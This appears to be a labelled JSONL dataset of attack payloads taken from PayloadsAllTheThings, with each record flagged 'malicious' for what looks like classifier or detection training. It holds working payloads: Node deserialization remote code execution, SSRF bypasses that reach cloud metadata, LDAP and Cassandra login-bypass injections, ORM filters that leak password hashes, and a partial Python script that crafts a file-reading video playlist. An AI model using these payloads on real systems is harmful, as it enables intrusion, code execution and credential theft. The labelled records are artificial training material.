{"id": "payloads_00131", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Node Deserialization\n\n> Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.\n\n## Summary\n\n* [Methodology](#methodology)\n    * [node-serialize](#node-serialize)\n    * [funcster](#funcster)\n* [References](#references)\n\n## Methodology\n\n* In Node source code, look for:\n\n    * `node-serialize`\n    * `serialize-to-js`\n    * `funcster`\n\n### node-serialize\n\n> An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the `unserialize()` function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).\n\n1. Generate a serialized payload\n\n    ```js\n    var y = {\n        rce : function(){\n            require('child_process').exec('ls /', function(error,\n            stdout, stderr) { console.log(stdout) });\n        },\n    }\n    var serialize = require('node-serialize');\n    console.log(\"Serialized: \\n\" + serialize.serialize(y));\n    ```\n\n2. Add bracket `()` to force the execution\n\n    ```js\n    {\"rce\":\"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()\"}\n    ```\n\n3. Send the payload\n\n### funcster\n\n```js\n{\"rce\":{\"__js_function\":\"function(){CMD=\\\"cmd /c calc\\\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()\"}}\n```\n\n## References\n\n* [CVE-2017-5941 - National Vulnerability Database - February 9, 2017](https://web.archive.org/web/20190820172715/https://nvd.nist.gov/vuln/detail/CVE-2017-5941)\n* [Exploiting Node.js deserialization bug for Remote Code Execution (CVE-2017-5941) - Ajin Abraham - October 31, 2018](https://web.archive.org/web/20181031111654/https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)\n* [NodeJS Deserialization - gonczor - January 8, 2020](https://web.archive.org/web/20240530025137/https://blacksheephacks.pl/nodejs-deserialization/)\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/Node.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00132", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<html>\n    <body>\n        <script>\n            window.location=\"/etc/passwd\"\n        </script>\n    </body>\n</html>", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "high", "explanation": "Headless browser exploitation payload from Headless Browser/window_location_js.html. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00133", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Cross Site Scripting\n\n> Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.\n\n## Summary\n\n- [Methodology](#methodology)\n- [Proof of Concept](#proof-of-concept)\n    - [Data Grabber](#data-grabber)\n    - [CORS](#cors)\n    - [UI Redressing](#ui-redressing)\n    - [Javascript Keylogger](#javascript-keylogger)\n    - [Other Ways](#other-ways)\n- [Identify an XSS Endpoint](#identify-an-xss-endpoint)\n    - [Tools](#tools)\n- [XSS in HTML/Applications](#xss-in-htmlapplications)\n    - [Common Payloads](#common-payloads)\n    - [XSS using HTML5 tags](#xss-using-html5-tags)\n    - [XSS using a Remote JS](#xss-using-a-remote-js)\n    - [XSS in Hidden Input](#xss-in-hidden-input)\n    - [XSS in Uppercase Output](#xss-in-uppercase-output)\n    - [DOM Based XSS](#dom-based-xss)\n    - [XSS in JS Context](#xss-in-js-context)\n- [XSS in Wrappers for URI](#xss-in-wrappers-for-uri)\n    - [Wrapper javascript:](#wrapper-javascript)\n    - [Wrapper data:](#wrapper-data)\n    - [Wrapper vbscript:](#wrapper-vbscript)\n- [XSS in Files](#xss-in-files)\n    - [XSS in XML](#xss-in-xml)\n    - [XSS in SVG](#xss-in-svg)\n    - [XSS in Markdown](#xss-in-markdown)\n    - [XSS in CSS](#xss-in-css)\n- [XSS in PostMessage](#xss-in-postmessage)\n- [Blind XSS](#blind-xss)\n    - [XSS Hunter](#xss-hunter)\n    - [Other Blind XSS tools](#other-blind-xss-tools)\n    - [Blind XSS endpoint](#blind-xss-endpoint)\n    - [Tips](#tips)\n- [Mutated XSS](#mutated-xss)\n- [Labs](#labs)\n- [References](#references)\n\n## Methodology\n\nCross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.\n\nThere are 3 main types of XSS attacks:\n\n- **Reflected XSS**: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials.\n\n- **Stored XSS**: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions.\n\n- **DOM-based XSS**: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code.\n\nTo prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.\n\n## Proof of Concept\n\nWhen exploiting an XSS vulnerability, it\u2019s more effective to demonstrate a complete exploitation scenario that could lead to account takeover or sensitive data exfiltration. Inste", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00134", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# ORM Leak\n\n> An ORM leak vulnerability occurs when sensitive information, such as database structure or user data, is unintentionally exposed due to improper handling of ORM queries. This can happen if the application returns raw error messages, debug information, or allows attackers to manipulate queries in ways that reveal underlying data.\n\n## Summary\n\n* [Django (Python)](#django-python)\n    * [Query filter](#query-filter)\n    * [Relational Filtering](#relational-filtering)\n        * [One-to-One](#one-to-one)\n        * [Many-to-Many](#many-to-many)\n    * [Error-based leaking - ReDOS](#error-based-leaking---redos)\n* [Prisma (Node.JS)](#prisma-nodejs)\n    * [Relational Filtering](#relational-filtering-1)\n        * [One-to-One](#one-to-one-1)\n        * [Many-to-Many](#many-to-many-1)\n* [Ransack (Ruby)](#ransack-ruby)\n* [CVE](#cve)\n* [References](#references)\n\n## Django (Python)\n\nThe following code is a basic example of an ORM querying the database.\n\n```py\nusers = User.objects.filter(**request.data)\nserializer = UserSerializer(users, many=True)\n```\n\nThe problem lies in how the Django ORM uses keyword parameter syntax to build QuerySets. By utilizing the unpack operator (`**`), users can dynamically control the keyword arguments passed to the filter method, allowing them to filter results according to their needs.\n\n### Query filter\n\nThe attacker can control the column to filter results by.\nThe ORM provides operators for matching parts of a value. These operators can utilize the SQL\u202fLIKE condition in generated queries, perform regex matching based on user-controlled patterns, or apply comparison operators such as\u202f< and\u202f>.\n\n```json\n{\n  \"username\": \"admin\",\n  \"password__startswith\": \"p\"\n}\n```\n\nInteresting filter to use:\n\n* `__startswith`\n* `__contains`\n* `__regex`\n\n### Relational Filtering\n\nLet's use this great example from [PLORMBING YOUR DJANGO ORM, by Alex Brown](https://www.elttam.com/blog/plormbing-your-django-orm/)\n![UML-example-app-simplified-highlight](https://www.elttam.com/assets/images/blog/2024-06-24-plormbing-your-django-orm/UML-example-app-simplified-highlight1.png)\n\nWe can see 2 type of relationships:\n\n* One-to-One relationships\n* Many-to-Many Relationships\n\n#### One-to-One\n\nFiltering through user that created an article, and having a password containing the character `p`.\n\n```json\n{\n  \"created_by__user__password__contains\": \"p\"\n}\n```\n\n#### Many-to-Many\n\nAlmost the same thing but you need to filter more.\n\n* Get the user IDS: `created_by__departments__employees__user__id`\n* For each ID, get the username: `created_by__departments__employees__user__username`\n* Finally, leak their password hash: `created_by__departments__employees__user__password`\n\nUse multiple filters in the same request:\n\n```json\n{\n  \"created_by__departments__employees__user__username__startswith\": \"p\",\n  \"created_by__departments__employees__user__id\": 1\n}\n```\n\n### Error-based leaking - ReDOS\n\nIf Django use MySQL, you can also abuse a ReDOS to force an error when the filter does not properly match the condition.\n\n```json\n{\"created_by__user__password__regex\": \"^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$\"}\n// => Return something\n\n{\"created_by__user__password__regex\": \"^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$\"}  \n// => Error 500 (Timeout exceeded in regular expression match)\n```\n\n## Prisma (Node.JS)\n\n**Tools**:\n\n* [elttam/plormber](https://github.com/elttam/plormber) - tool for exploiting ORM Leak time-based vulnerabilities\n\n    ```ps1\n    plormber prisma-contains \\\n        --chars '0123456789abcdef' \\\n        --base-query-json '{\"query\": {PAYLOAD}}' \\\n        --leak-query-json '{\"createdBy\": {\"resetToken\": {\"startsWith\": \"{ORM_LEAK}\"}}}' \\\n        --contains-payload-json '{\"body\": {\"contains\": \"{RANDOM_STRING}\"}}' \\\n        --verbose-stats \\\n        https://some.vuln.app/articles/time-based;\n    ```\n\n**Example**:\n\nExample of an ORM leak in Node.JS with Prisma.\n\n```js\nconst posts = await prisma.article.findMany({\n  where: req.query.filter as any // Vulnerable to ORM Leaks", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "ORM leak payload from ORM Leak/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00135", "source": "payloads_all_the_things", "source_license": "MIT", "text": "accept\naccept-application\naccept-charset\naccepted\naccept-encoding\naccept-encodxng\naccept-language\naccept-ranges\naccept-version\naccess-control-allow-credentials\naccess-control-allow-headers\naccess-control-allow-methods\naccess-control-allow-origin\naccess-control-expose-headers\naccess-control-max-age\naccess-control-request-headers\naccess-control-request-method\naccesskey\naccess-token\naction\nadmin\nage\najax\nakamai-origin-hop\nallow\nalt-used\napp\nappcookie\napp-env\napp-key\napply-to-redirect-ref\nappname\nappversion\natcept-language\nauth\nauth-any\nauth-basic\nauth-digest\nauth-digest-ie\nauthentication\nauth-gssneg\nauth-key\nauth-ntlm\nauthorization\nauth-password\nauth-realm\nauth-type\nauth-user\nbad-gateway\nbad-request\nbae-env-addr-bcms\nbae-env-addr-bcs\nbae-env-addr-bus\nbae-env-addr-channel\nbae-env-addr-sql-ip\nbae-env-addr-sql-port\nbae-env-ak\nbae-env-appid\nbae-env-sk\nbae-logid\nbar\nbase\nbase-url\nbasic\nbearer-indication\nbody-maxlength\nbody-truncated\nbrief\nbrowser-user-agent\ncache-control\ncache-info\ncase-files\ncatalog\ncatalog-server\ncategory\ncert-cookie\ncert-flags\ncert-issuer\ncert-keysize\ncert-secretkeysize\ncert-serialnumber\ncert-server-issuer\ncert-server-subject\ncert-subject\ncf-connecting-ip\ncf-ipcountry\ncf-template-path\ncf-visitor\nch\nchallenge-response\ncharset\nchunk-size\nclient\nclient-address\nclientaddress\nclient-bad-request\nclient-conflict\nclient-error-cannot-access-local-file\nclient-error-cannot-connect\nclient-error-communication-failure\nclient-error-connect\nclient-error-invalid-parameters\nclient-error-invalid-server-address\nclient-error-no-error\nclient-error-protocol-failure\nclient-error-unspecified-error\nclient-expectation-failed\nclient-forbidden\nclient-gone\nclient-ip\nclientip\nclient-length-required\nclient-method-not-allowed\nclient-not-acceptable\nclient-not-found\nclient-payment-required\nclient-precondition-failed\nclient-proxy-auth-required\nclient-quirk-mode\nclient-requested-range-not-possible\nclient-request-timeout\nclient-request-too-large\nclient-request-uri-too-large\nclient-unauthorized\nclient-unsupported-media-type\ncloudfront-viewer-country\ncloudinary-name\ncloudinary-public-id\ncloudinaryurl\ncloudinary-version\ncode\ncoming-from\ncommand\ncompress\nconflict\nconnection\nconnection-type\ncontact\ncontent\ncontent-disposition\ncontent-encoding\ncontent-language\ncontent-length\ncontent-location\ncontent-md5\ncontent-range\ncontent-security-policy\ncontent-security-policy-report-only\ncontent-type\ncontent-type-xhtml\ncontext-path\ncontinue\ncookie\ncookie2\ncookie-domain\ncookie-httponly\ncookie-parse-raw\ncookie-path\ncookies\ncookie-secure\ncookie-vars\ncore-base\ncreated\ncredentials-filepath\ncurl\ncurl-multithreaded\ncustom-header\ncustom-secret-header\ndataserviceversion\ndate\ndebug\ndeflate-level-def\ndeflate-level-max\ndeflate-level-min\ndeflate-strategy-def\ndeflate-strategy-filt\ndeflate-strategy-fixed\ndeflate-strategy-huff\ndeflate-strategy-rle\ndeflate-type-gzip\ndeflate-type-raw\ndeflate-type-zlib\ndelete\ndepth\ndestination\ndestroy\ndevblocksproxybase\ndevblocksproxyhost\ndevblocksproxyssl\ndevice-stock-ua\ndigest\ndir\ndir-name\ndir-resource\ndisable-gzip\ndkim-signature\ndnt\ndownload-attachment\ndownload-bad-url\ndownload-bz2\ndownload-cut-short\ndownload-e-headers-sent\ndownload-e-invalid-archive-type\ndownload-e-invalid-content-type\ndownload-e-invalid-file\ndownload-e-invalid-param\ndownload-e-invalid-request\ndownload-e-invalid-resource\ndownload-e-no-ext-mmagic\ndownload-e-no-ext-zlib\ndownload-inline\ndownload-mime-type\ndownload-no-server\ndownload-size\ndownload-status-not-found\ndownload-status-server-error\ndownload-status-unauthorized\ndownload-status-unknown\ndownload-tar\ndownload-tgz\ndownload-url\ndownload-zip\ne-encoding\ne-header\ne-invalid-param\ne-malformed-headers\ne-message-type\nenable-gzip\nenable-no-cache-headers\nencoding-stream-flush-full\nencoding-stream-flush-none\nencoding-stream-flush-sync\nenv-silla-environment\nenv-vars\ne-querystring\ne-request\ne-request-method\ne-request-pool\ne-response\nerror\nerror-1\nerror-2\nerror-3\nerror-4\nerror-formatting-html\ne-runtime\ne-socket\nespo-authorization\nespo-cgi-auth\net", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "Web cache deception payload from Web Cache Deception/param_miner_lowercase_headers.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00136", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# HTTP Parameter Pollution\n\n> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Parameter Pollution Table](#parameter-pollution-table)\n    * [Parameter Pollution Payloads](#parameter-pollution-payloads)\n* [References](#references)\n\n## Tools\n\n* **Burp Suite**: Manually modify requests to test duplicate parameters.\n* **OWASP ZAP**: Intercept and manipulate HTTP parameters.\n\n## Methodology\n\nHTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.\n\nHPP can target two levels:\n\n* Client-Side HPP: Exploits JavaScript code running on the client (browser).\n* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.\n\n**Examples**:\n\n```ps1\n/app?debug=false&debug=true\n/transfer?amount=1&amount=5000\n```\n\n### Parameter Pollution Table\n\nWhen ?par1=a&par1=b\n\n| Technology                                      | Parsing Result           | outcome (par1=) |\n| ----------------------------------------------- | ------------------------ | --------------- |\n| ASP.NET/IIS                                     | All occurrences          | a,b             |\n| ASP/IIS                                         | All occurrences          | a,b             |\n| Golang net/http - `r.URL.Query().Get(\"param\")`  | First occurrence         | a               |\n| Golang net/http - `r.URL.Query()[\"param\"]`      | All occurrences in array | ['a','b']       |\n| IBM HTTP Server                                 | First occurrence         | a               |\n| IBM Lotus Domino                                | First occurrence         | a               |\n| JSP,Servlet/Tomcat                              | First occurrence         | a               |\n| mod_wsgi (Python)/Apache                        | First occurrence         | a               |\n| Nodejs                                          | All occurrences          | a,b             |\n| Perl CGI/Apache                                 | First occurrence         | a               |\n| Perl CGI/Apache                                 | First occurrence         | a               |\n| PHP/Apache                                      | Last occurrence          | b               |\n| PHP/Zues                                        | Last occurrence          | b               |\n| Python Django                                   | Last occurrence          | b               |\n| Python Flask                                    | First occurrence         | a               |\n| Python/Zope                                     | All occurrences in array | ['a','b']       |\n| Ruby on Rails                                   | Last occurrence          | b               |\n\n### Parameter Pollution Payloads\n\n* Duplicate Parameters:\n\n    ```ps1\n    param=value1&param=value2\n    ```\n\n* Array Injection:\n\n    ```ps1\n    param[]=value1\n    param[]=value1&param[]=value2\n    param[]=value1&param=value2\n    param=value1&param[]=value2\n    ```\n\n* Encoded Injection:\n\n    ```ps1\n    param=value1%26other=value2\n    ```\n\n* Nested Injection:\n\n    ```ps1\n    param[key1]=value1&param[key2]=value2\n    ```\n\n* JSON Injectio", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "medium", "explanation": "HTTP parameter pollution payload from HTTP Parameter Pollution/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00137", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server-Side Request Forgery\n\n> Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n* [Bypassing Filters](#bypassing-filters)\n    * [Default Targets](#default-targets)\n    * [Bypass Localhost with IPv6 Notation](#bypass-localhost-with-ipv6-notation)\n    * [Bypass Localhost with a Domain Redirect](#bypass-localhost-with-a-domain-redirect)\n    * [Bypass Localhost with CIDR](#bypass-localhost-with-cidr)\n    * [Bypass Using Rare Address](#bypass-using-rare-address)\n    * [Bypass Using an Encoded IP Address](#bypass-using-an-encoded-ip-address)\n    * [Bypass Using Different Encoding](#bypass-using-different-encoding)\n    * [Bypassing Using a Redirect](#bypassing-using-a-redirect)\n    * [Bypass Using DNS Rebinding](#bypass-using-dns-rebinding)\n    * [Bypass Abusing URL Parsing Discrepancy](#bypass-abusing-url-parsing-discrepancy)\n    * [Bypass PHP filter_var() Function](#bypass-php-filter_var-function)\n    * [Bypass Using JAR Scheme](#bypass-using-jar-scheme)\n* [Exploitation via URL Scheme](#exploitation-via-url-scheme)\n    * [file://](#file)\n    * [http://](#http)\n    * [dict://](#dict)\n    * [sftp://](#sftp)\n    * [tftp://](#tftp)\n    * [ldap://](#ldap)\n    * [gopher://](#gopher)\n    * [netdoc://](#netdoc)\n* [Blind Exploitation](#blind-exploitation)\n* [Upgrade to XSS](#upgrade-to-xss)\n* [Labs](#labs)\n* [References](#references)\n\n## Tools\n\n* [swisskyrepo/SSRFmap](https://github.com/swisskyrepo/SSRFmap) - Automatic SSRF fuzzer and exploitation tool\n* [tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) - Generates gopher link for exploiting SSRF and gaining RCE in various servers\n* [In3tinct/See-SURF](https://github.com/In3tinct/See-SURF) - Python based scanner to find potential SSRF parameters\n* [teknogeek/SSRF-Sheriff](https://github.com/teknogeek/ssrf-sheriff) - Simple SSRF-testing sheriff written in Go\n* [assetnote/surf](https://github.com/assetnote/surf) - Returns a list of viable SSRF candidates\n* [dwisiswant0/ipfuscator](https://github.com/dwisiswant0/ipfuscator) - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.\n* [Horlad/r3dir](https://github.com/Horlad/r3dir) - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags\n\n## Methodology\n\nSSRF is a security vulnerability that occurs when an attacker manipulates a server to make HTTP requests to an unintended location. This happens when the server processes user-provided URLs or IP addresses without proper validation.\n\nCommon exploitation paths:\n\n* Accessing Cloud metadata\n* Leaking files on the server\n* Network discovery, port scanning with the SSRF\n* Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server\n\n**Example**: A server accepts user input to fetch a URL.\n\n```py\nurl = input(\"Enter URL:\")\nresponse = requests.get(url)\nreturn response\n```\n\nAn attacker supplies a malicious input:\n\n```ps1\nhttp://169.254.169.254/latest/meta-data/\n```\n\nThis fetches sensitive information from the AWS EC2 metadata service.\n\n## Bypassing Filters\n\n### Default Targets\n\nBy default, Server-Side Request Forgery are used to access services hosted on `localhost` or hidden further on the network.\n\n* Using `localhost`\n\n  ```powershell\n  http://localhost:80\n  http://localhost:22\n  https://localhost:443\n  ```\n\n* Using `127.0.0.1`\n\n  ```powershell\n  http://127.0.0.1:80\n  http://127.0.0.1:22\n  https://127.0.0.1:443\n  ```\n\n* Using `0.0.0.0`\n\n  ```powershell\n  http://0.0.0.0:80\n  http://0.0.0.0:22\n  https://0.0.0.0:443\n  ```\n\n### Bypass Localhost with IPv6 Notation\n\n* Using unspecified address in IPv6 `[::]`\n\n    ```powershell\n    http://[::]:80/\n    ```\n\n* Using IPv6 loopback addres`[0000::1]`\n\n    ```powershell\n  ", "findings": [{"category": "malicious", "subcategory": "malicious.ssrf", "severity": "high", "explanation": "Server-side request forgery payload from Server Side Request Forgery/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00138", "source": "payloads_all_the_things", "source_license": "MIT", "text": "*\n*)(&\n*))%00\n*()|%26'\n*()|&'\n*(|(mail=*))\n*(|(objectclass=*))\n*)(uid=*))(|(uid=*\n*/*\n*|\n/\n//\n//*\n@*\n|\nadmin*\nadmin*)((|userpassword=*)\nadmin*)((|userPassword=*)\nx' or name()='username' or 'x'='y\n!\n%21\n%26\n%28\n%29\n%2A%28%7C%28mail%3D%2A%29%29\n%2A%28%7C%28objectclass%3D%2A%29%29\n%2A%7C\n%7C\n&\n(\n)\n)(cn=))\\x00\n*(|(mail=*))\n*(|(objectclass=*))\n*/*\n*|\n/\n//\n//*\n@*\nx' or name()='username' or 'x'='y\n|\n*()|&'\nadmin*\nadmin*)((|userpassword=*)\n*)(uid=*))(|(uid=*\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "LDAP injection payload from LDAP Injection/LDAP_FUZZ.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00139", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Cassandra Injection\n\n> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system.\n\n## Summary\n\n* [CQL Injection Limitations](#cql-injection-limitations)\n* [Cassandra Comment](#cassandra-comment)\n* [Cassandra Login Bypass](#cassandra-login-bypass)\n    * [Example #1](#example-1)\n    * [Example #2](#example-2)\n* [References](#references)\n\n## CQL Injection Limitations\n\n* Cassandra is a non-relational database, so CQL doesn't support `JOIN` or `UNION` statements, which makes cross-table queries more challenging.\n\n* Additionally, Cassandra lacks convenient built-in functions like `DATABASE()` or `USER()` for retrieving database metadata.\n\n* Another limitation is the absence of the `OR` operator in CQL, which prevents creating always-true conditions; for instance, a query like `SELECT * FROM table WHERE col1='a' OR col2='b';` will be rejected.\n\n* Time-based SQL injections, which typically rely on functions like `SLEEP()` to introduce a delay, are also difficult to execute in CQL since it doesn\u2019t include a `SLEEP()` function.\n\n* CQL does not allow subqueries or other nested statements, so a query like `SELECT * FROM table WHERE column=(SELECT column FROM table LIMIT 1);` would be rejected.\n\n## Cassandra Comment\n\n```sql\n/* Cassandra Comment */\n```\n\n## Cassandra Login Bypass\n\n### Example #1\n\n```sql\nusername: admin' ALLOW FILTERING; %00\npassword: ANY\n```\n\n### Example #2\n\n```sql\nusername: admin'/*\npassword: */and pass>'\n```\n\nThe injection would look like the following SQL query\n\n```sql\nSELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;\n```\n\n## References\n\n* [Cassandra injection vulnerability triggered - DATADOG - January 30, 2023](https://web.archive.org/web/20230130053010/https://docs.datadoghq.com/fr/security/default_rules/appsec-cass-injection-vulnerability-trigger/)\n* [Investigating CQL injection in Apache Cassandra - Mehmet Leblebici - December 2, 2022](https://web.archive.org/web/20251213065510/https://www.invicti.com/blog/web-security/investigating-cql-injection-apache-cassandra)\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/Cassandra Injection.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00140", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Server Side Template Injection - ASP.NET\n\n> Server-Side Template Injection (SSTI)  is a class of vulnerabilities where an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary code on the server. In the context of ASP.NET, SSTI can occur if user input is directly embedded into a template (such as Razor, ASPX, or other templating engines) without proper sanitization.\n\n## Summary\n\n- [ASP.NET Razor](#aspnet-razor)\n    - [ASP.NET Razor - Basic Injection](#aspnet-razor---basic-injection)\n    - [ASP.NET Razor - Command Execution](#aspnet-razor---command-execution)\n- [References](#references)\n\n## ASP.NET Razor\n\n[Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)\n\n> Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.\n\n### ASP.NET Razor - Basic Injection\n\n```powershell\n@(1+2)\n```\n\n### ASP.NET Razor - Command Execution\n\n```csharp\n@{\n  // C# code\n}\n```\n\n## References\n\n- [Server-Side Template Injection (SSTI) in ASP.NET Razor - Cl\u00e9ment Notin - April 15, 2020](https://web.archive.org/web/20240905143644/http://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)\n", "findings": [{"category": "malicious", "subcategory": "malicious.ssti", "severity": "high", "explanation": "Server-side template injection payload from Server Side Template Injection/ASP.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00141", "source": "payloads_all_the_things", "source_license": "MIT", "text": "#!/usr/bin/env python3\nfrom builtins import bytes\nfrom builtins import map\nfrom builtins import zip\nfrom builtins import range\nimport struct\nimport argparse\nimport random\nimport string\n\nAVI_HEADER = b\"RIFF\\x00\\x00\\x00\\x00AVI LIST\\x14\\x01\\x00\\x00hdrlavih8\\x00\\x00\\x00@\\x9c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00}\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\x00\\x00\\x00\\xa0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LISTt\\x00\\x00\\x00strlstrh8\\x00\\x00\\x00txts\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x00\\x00\\x00\\x00}\\x00\\x00\\x00\\x86\\x03\\x00\\x00\\x10'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe0\\x00\\xa0\\x00strf(\\x00\\x00\\x00(\\x00\\x00\\x00\\xe0\\x00\\x00\\x00\\xa0\\x00\\x00\\x00\\x01\\x00\\x18\\x00XVID\\x00H\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00LIST    movi\"\n\nECHO_TEMPLATE = \"\"\"### echoing {needed!r}\n#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}\n#EXTINF:1,\n#EXT-X-BYTERANGE: 16\n/dev/zero\n#EXT-X-KEY: METHOD=NONE\n\"\"\"\n\n# AES.new('\\x00'*16).decrypt('\\x00'*16)\nGAMMA = b'\\x14\\x0f\\x0f\\x10\\x11\\xb5\"=yXw\\x17\\xff\\xd9\\xec:'\n\nFULL_PLAYLIST = \"\"\"#EXTM3U\n#EXT-X-MEDIA-SEQUENCE:0\n{content}\n#### random string to prevent caching: {rand}\n#EXT-X-ENDLIST\"\"\"\n\nEXTERNAL_REFERENCE_PLAYLIST = \"\"\"\n\n####  External reference: reading {size} bytes from {filename} (offset {offset})\n#EXTINF:1,\n#EXT-X-BYTERANGE: {size}@{offset}\n{filename}\n\n\n\"\"\"\n\nXBIN_HEADER = b'XBIN\\x1A\\x20\\x00\\x0f\\x00\\x10\\x04\\x01\\x00\\x00\\x00\\x00'\n\n\ndef echo_block(block):\n    assert len(block) == 16\n    iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))\n    return ECHO_TEMPLATE.format(needed=block, iv=iv)\n\n\ndef gen_xbin_sync():\n    seq = []\n    for i in range(60):\n        if i % 2:\n            seq.append(0)\n        else:\n            seq.append(128 + 64 - i - 1)\n    for i in range(4, 0, -1):\n        seq.append(128 + i - 1)\n    seq.append(0)\n    seq.append(0)\n    for i in range(12, 0, -1):\n        seq.append(128 + i - 1)\n    seq.append(0)\n    seq.append(0)\n    return seq\n\n\ndef 